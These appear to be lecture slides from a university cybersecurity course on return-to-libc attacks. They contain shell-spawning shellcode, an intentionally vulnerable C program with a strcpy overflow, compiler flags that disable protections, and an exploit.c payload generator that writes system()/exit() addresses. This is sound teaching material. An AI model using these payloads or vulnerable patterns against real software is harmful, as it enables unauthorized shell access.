

CSCI 4621/5621 Intro to CyberSecurity

07: RETURN-TO-LIBC

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code/ret2libc.zip

https://tinyurl.com/ret2libc

STARTING POINT: SHELLCODE ON THE STACK


```
#include <string.h>
char shellcode[] =
      "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
      "\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
void main() {
      char buffer[sizeof(shellcode)];
      strcpy(buffer, shellcode);
      ((void(*)())buffer)();
```

PROBLEM

```
~/4621/ret2libc$ make testsc
gcc -m32 -march=i386 -00 -fcf-protection=none -z execstack -fno-stack-protector -
fno-pie -D FORTIFY SOURCE=0 --save-temps -fno-asynchronous-unwind-tables -
mpreferred-stack-boundary=2 -w -g -static -o testsc testshell.c
~/4621/ret2libc$ ./testsc
$ exit.
~/4621/ret2libc$ make testsc fail
gcc -m32 -march=i386 -00 -fcf-protection=none -fno-stack-protector -fno-pie -
D FORTIFY SOURCE=0 --save-temps -fno-asynchronous-unwind-tables -mpreferred-stack-
boundary=2 -w -g -static -o testsc fail testshell.c
~/4621/ret2libc$ ./testsc fail
Segmentation fault (core dumped)
```

IDEA: NO CODE ON THE STACK, JUST CONTROL

- Jump to existing code → e.g., libc
- Function: system(char *cmd)



VULNERABLE CODE: vuln.c

```
#include <stdio.h>
#include <stdlib.h>
void vulnerable(char *str) {
       char buff[32];
       strcpy(buff, str);
void main(int argc, char *argv[]) {
       char buffer[256];
       FILE *badfile = fopen(argv[1], "r");
       fread(buffer, sizeof(buffer), 1, badfile);
       vulnerable(buffer);
       printf("Normal exit.\n");
```

THE PLAN

- Task A: Find address of system()
 - » need it to overwrite RA
- Task B: Find address of the "/bin/sh" string.
 - » need it as an argument for system()
- Task C: Construct arguments for system()
 - » find location on the stack to place "/bin/sh" address (arg for system())

TASK A: FIND ADDRESS OF system ()

TASK B: FIND "/bin/bash"

- Set/export environment variable "BINSH=/bin/bash"
- Run vuln with controlled/minimal environment


```
$ env -i BINSH=/bin/bash ./vuln
```

Use getenv () to get address

```
char *envar = (char *)getenv(argv[1]); // argv[1] → env var name
```

TASK C: ARGUMENT FOR system ()

- Args passed wrt ebp
- Arg for system (ptr to "/bin/bash") must be on the stack



TASK C: ARGUMENT FOR system()[2]

Standard function <u>pro</u>log


» pushl %ebp

» movl %esp,%ebp

» subl \$N,%esp

esp: stack pointer

ebp: frame pointer



TASK C: ARGUMENT FOR system()[3]

Standard function <u>epi</u>log


» movl %ebp,%esp

» popl %%ebp


» ret

esp: stack pointer

ebp: frame pointer




NEXT: FIND system () 'S ARGUMENT ADDRESS



- We need to understand how the ebp and esp registers change with the function calls.
- B/w the time when RA is modified and system argument is used, vulnerable() returns and system() prologue begins.

MEMORY MAP



- (2) Return address after system() completes \rightarrow we use exit() to avoid a crash
- (3) system() address
- (4) distance covered by overflow

EXPLOIT GENERATION

Arg: distance → can generate multiple trials

```
exploit.c
   #include <stdio.h>
    #include <stdlib.h>
   int main(int argc, char *argv[]) {
        int LOC = atoi(argv[1]);
        char buffer[256];
        FILE *badfile;
10
11
        memset(buffer, 0x90, sizeof(buffer));
                                                                 ebp+12
12
13
        *(long *) &buffer[LOC] = 0xffffdfe7; // "/bin/bash"
                                                                 → ebp+08
        *(long *) &buffer[LOC-4] = 0x80506e0; //
14
                                                   exit()
        *(long *) &buffer[LOC-8] = 0x8051510; //
15
                                                   system()
                                                                   ebp+04
16
17
        badfile = fopen(argv[2], "w");
        fwrite(buffer, sizeof(buffer), 1, badfile);
18
19
        fclose(badfile);
```

ROP: RETURN-ORIENTED PROGRAMMING

- In the **ret2libc** attack, we can only chain two functions together
 - » technique can be generalized:
 - » chain many functions together
 - » chain blocks of code together
- E.g. (w/ no arguments)

